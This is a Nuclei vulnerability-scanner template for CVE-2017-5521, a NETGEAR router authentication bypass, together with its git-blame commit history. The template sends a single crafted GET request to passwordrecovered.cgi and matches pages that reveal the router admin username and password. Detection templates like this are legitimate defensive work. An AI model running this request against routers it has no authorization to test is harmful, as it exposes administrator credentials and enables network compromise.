nuclei-templates/http/cves/2017/CVE-2017-5521.yaml

id: CVE-2017-5521

info:
  name: NETGEAR Routers - Authentication Bypass
  author: princechaddha
  severity: high
  description: |
    NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices are susceptible to authentication bypass via simple crafted requests to the web management server.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized configuration changes, network compromise, and potential exposure of sensitive information.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
  reference:
    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/
    - http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5521
    - https://www.exploit-db.com/exploits/41205/
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2017-5521
    cwe-id: CWE-200
    epss-score: 0.97402
    epss-percentile: 0.99921
    cpe: cpe:2.3:o:netgear:r6200_firmware:1.0.1.56_1.0.43:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: r6200_firmware
  tags: cve,cve2017,auth-bypass,netgear,router,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/passwordrecovered.cgi?id={{rand_base(5)}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "right\">Router\\s*Admin\\s*Username<"
          - "right\">Router\\s*Admin\\s*Password<"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220475cf79bbd6db0830e43542783b81874242bece61820a7894f583371748f015b02207aa0881723c78483cb50b459bbd5dda2b2da88f94190c04e6c6f5526498b7b3b:922c64590222798bb761d5b6d8e72950
Create CVE-2017-5521.yaml 2021-04-13 19:54:49 +00:00			`id: CVE-2017-5521`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00
Create CVE-2017-5521.yaml 2021-04-13 19:54:49 +00:00			`info:`
Enhancement: cves/2017/CVE-2017-5521.yaml by mp 2022-06-19 15:19:56 +00:00			`name: NETGEAR Routers - Authentication Bypass`
Create CVE-2017-5521.yaml 2021-04-13 19:54:49 +00:00			`author: princechaddha`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`severity: high`
Update CVE-2017-5521.yaml 2022-06-20 16:07:02 +00:00			`description: \|`
			`NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices are susceptible to authentication bypass via simple crafted requests to the web management server.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability can lead to unauthorized configuration changes, network compromise, and potential exposure of sensitive information.`
updated other CVEs 2023-09-06 13:22:34 +00:00			`remediation: \|`
			`Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Create CVE-2017-5521.yaml 2021-04-13 19:54:49 +00:00			`- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability`
Enhancement: cves/2017/CVE-2017-5521.yaml by mp 2022-06-19 15:19:56 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2017-5521`
more updates 2023-07-15 16:29:17 +00:00			`- https://www.exploit-db.com/exploits/41205/`
TemplateMan Update [Fri Jun 7 10:04:28 UTC 2024] :robot: 2024-06-07 10:04:29 +00:00			`- https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 8.1`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2017-5521`
			`cwe-id: CWE-200`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`epss-score: 0.97402`
TemplateMan Update [Fri Jun 7 10:04:28 UTC 2024] :robot: 2024-06-07 10:04:29 +00:00			`epss-percentile: 0.99921`
updated other CVEs 2023-09-06 13:22:34 +00:00			`cpe: cpe:2.3:o:netgear:r6200_firmware:1.0.1.56_1.0.43:::::::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: netgear`
			`product: r6200_firmware`
			`tags: cve,cve2017,auth-bypass,netgear,router,kev`
Create CVE-2017-5521.yaml 2021-04-13 19:54:49 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2017-5521.yaml 2021-04-13 19:54:49 +00:00			`- method: GET`
			`path:`
Replaced Hardcoded Nuclei Keyword 2023-07-20 07:43:09 +00:00			`- "{{BaseURL}}/passwordrecovered.cgi?id={{rand_base(5)}}"`
Create CVE-2017-5521.yaml 2021-04-13 19:54:49 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: word`
Update CVE-2017-5521.yaml 2022-06-20 16:07:02 +00:00			`part: body`
Create CVE-2017-5521.yaml 2021-04-13 19:54:49 +00:00			`words:`
			`- "right\">Router\\sAdmin\\sUsername<"`
			`- "right\">Router\\sAdmin\\sPassword<"`
			`condition: and`
Update CVE-2017-5521.yaml 2022-06-20 16:07:02 +00:00
Create CVE-2017-5521.yaml 2021-04-13 19:54:49 +00:00			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Sun Jan 14 14:05:19 UTC 2024] :robot: 2024-01-14 14:05:19 +00:00			`# digest: 490a004630440220475cf79bbd6db0830e43542783b81874242bece61820a7894f583371748f015b02207aa0881723c78483cb50b459bbd5dda2b2da88f94190c04e6c6f5526498b7b3b:922c64590222798bb761d5b6d8e72950`